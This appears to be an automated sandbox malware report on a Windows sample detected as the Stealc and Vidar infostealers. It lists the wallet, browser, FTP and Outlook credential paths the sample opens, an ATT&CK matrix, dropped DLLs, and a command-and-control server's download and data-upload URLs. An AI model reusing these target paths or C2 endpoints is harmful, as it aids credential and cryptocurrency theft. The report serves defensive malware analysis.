Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\Binance\.finger-print.fp
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.1000000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1759914221.0000000005700000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7328, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	4 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	100%	URL Reputation	malware
http://185.215.113.37	100%	URL Reputation	malware
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/mozglue.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/softokn3.dll	100%	URL Reputation	malware
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/freebl3.dll	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.phpser	100%	URL Reputation	malware
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	100%	URL Reputation	malware
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	100%	URL Reputation	malware
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php3	100%	URL Reputation	malware
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	true	URL Reputation: malware	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://duckduckgo.com/chrome_newtab	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
https://support.mozilla.org/products/firefoxgro.allizom.troppus.zvXrErQ5GYDF	ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17WdsYWhtbmRlZHwxfDB8MHxab2hvIF	file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/ac/?q=	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpHJKJKKJDHIDHJKJDB	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllz	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.admarketplace.net/ctp?version=16.0.0&key=1696332238301000001.2&ci=1696332238417.	file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	false	URL Reputation: safe	unknown
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37	file.exe, 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17	file.exe, 00000000.00000003.1843850870.000000001DD4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php36	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll563c6670f193.php5	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpCoinomi	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4QqmfZfYfQfafZbXfpbWfpbX7ReNxR3UIG8zInwYIFIVs9eYi	AEGHJKJKKJDHIDHJKJDB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpu	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17Visual	file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
http://185.215.113.37e2b1563c6670f193.phption:	file.exe, 00000000.00000002.1992313367.00000000011CB000.00000040.00000001.01000000.00000003.sdmp	true		unknown
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/msvcp140.dll5	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpser	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllG	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_7548d4575af019e4c148ccf1a78112802e66a0816a72fc94	file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpi	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.sqlite.org/copyright.html.	file.exe, 00000000.00000002.2005647981.000000001DE49000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2013534711.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37n	file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://www.mozilla.com/en-US/blocklist/	file.exe, 00000000.00000002.2013976066.000000006F8ED000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	false		unknown
https://mozilla.org0/	freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	false	URL Reputation: safe	unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK201621kbG1nY	file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://contile-images.services.mozilla.com/0TegrVVRalreHILhR2WvtD_CFzj13HCDcLqqpvXSOuY.10862.jpg	file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	false	URL Reputation: safe	unknown
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	HIIIDAKK.0.dr	false		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll5	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllq~	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016Ed1aWxkV	file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllg	file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://bridge.lga1.ap01.net/ctp?version=16.0.0&key=1696332238301000001.1&ci=1696332238417.12791&cta	file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	false		unknown
http://185.215.113.37/e2b1563c6670f193.phpus.wallet	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/7D48285B-20E8-4B9B-91AD-216E34163BAD?wt.mc_id=EnterPK2016	file.exe, file.exe, 00000000.00000002.1992313367.0000000001001000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000003.1843850870.000000001DD4C000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllc	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.office.com/article/94ba2e0b-638e-4a92-8857-2cb5ac1d8e17mluIFdhbGxldHxmbmpobWtoaG1rYm	file.exe, 00000000.00000002.1992313367.000000000105A000.00000040.00000001.01000000.00000003.sdmp	false		unknown
https://www.ecosia.org/newtab/	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.phpE	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dllm	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpG	file.exe, 00000000.00000002.1993333489.0000000001893000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://ac.ecosia.org/autocomplete?q=	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php-	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/nss3.dllS	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpem	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dllK~	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/0d60be0de163924d/sqlite3.dllq	file.exe, 00000000.00000002.1993333489.000000000184E000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	file.exe, 00000000.00000002.2010590258.0000000029D80000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp, AEGHJKJKKJDHIDHJKJDB.0.dr	false	URL Reputation: safe	unknown
http://185.215.113.37/e2b1563c6670f193.php3	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true	URL Reputation: malware	unknown
http://185.215.113.37/e2b1563c6670f193.php9	file.exe, 00000000.00000002.1993333489.00000000018A7000.00000004.00000020.00020000.00000000.sdmp	true		unknown
http://185.215.113.37/e2b1563c6670f193.phpFirefox	file.exe, 00000000.00000002.1993333489.00000000018C1000.00000004.00000020.00020000.00000000.sdmp	true		unknown
https://support.mozilla.org	ECGDBAEHIJKKFHIEGCBGCAFIJJ.0.dr	false	URL Reputation: safe	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	HIIIDAKK.0.dr	false	URL Reputation: safe	unknown
